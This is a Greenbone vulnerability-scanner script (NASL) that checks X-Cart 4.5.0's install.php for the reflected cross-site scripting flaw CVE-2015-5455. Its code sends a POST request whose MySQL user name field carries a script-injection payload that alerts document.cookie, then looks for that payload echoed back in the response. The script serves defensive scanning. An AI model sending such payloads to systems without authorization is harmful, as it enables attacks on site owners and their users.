X_CART Installation Script Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:qualiteam:x-cart";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.806059");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2015-5455");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2015-10-05 11:33:14 +0530 (Mon, 05 Oct 2015)");
  script_name("X_CART Installation Script Cross Site Scripting Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_xcart_detect.nasl");
  script_mandatory_keys("X_CART/Installed");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/132513");

  script_tag(name:"summary", value:"XCART is prone to a cross-site scripting (XSS) vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP POST and
  check whether it is able to read cookie or not.");
  script_tag(name:"insight", value:"The flaw is due to the install.php script
  does not validate input to the 'MySQL user name' POST parameter before
  returning it to users.");
  script_tag(name:"impact", value:"Successful exploitation will allow a
  context-dependent attacker to create a specially crafted request that would
  execute arbitrary script code in a user's browser session within the trust
  relationship between their browser and the server.");
  script_tag(name:"affected", value:"XCART versions 4.5.0 and possibly earlier.");
  script_tag(name:"solution", value:"For a workaround, websites running X-Cart
  version 4.5.0 (and possibly below) remove their /install/ directory once it is
  installed.");

  script_tag(name:"solution_type", value:"Workaround");
  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"https://www.x-cart.com");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

url = dir + "/install.php";

sndReq = http_get( item:url, port:port );
rcvRes = http_keepalive_send_recv( port:port, data:sndReq );
useragent = http_get_user_agent();

if( rcvRes && rcvRes =~ "^HTTP/1\.[01] 200" ) {

  host = http_host_name( port:port );

  postData = "params%5Bxcart_http_host%5D=www.esofsolution.com&params%5Bxcart"+
             "_https_host%5D=www.esofsolution.com&params%5Bxcart_web_dir%5D=%"+
             "2Fxcart&params%5Bmysqlhost%5D=localhost&params%5Bmysqluser%5D=%22"+
             "%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&params%5"+
             "Bmysqlbase%5D=xcart&params%5Bmysqlpass%5D=&params%5Bcompany_email"+
             "%5D=&params%5Bauth_code%5D=DEMO&params%5Bagree%5D=on&params%5Blng"+
             "code%5D=US&current=3";

  #Send Attack Request
  sndReq = string("POST ", url, " HTTP/1.1\r\n",
                  "Host: ", host, "\r\n",
                  "User-Agent: ", useragent, "\r\n",
                  "Content-Type: application/x-www-form-urlencoded", "\r\n",
                  "Content-Length: ", strlen(postData), "\r\n\r\n",
                  "\r\n", postData, "\r\n");
  rcvRes = http_keepalive_send_recv( port:port, data:sndReq );

  if( rcvRes =~ "^HTTP/1\.[01] 200" && "alert(document.cookie)" >< rcvRes && "X-Cart" >< rcvRes ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );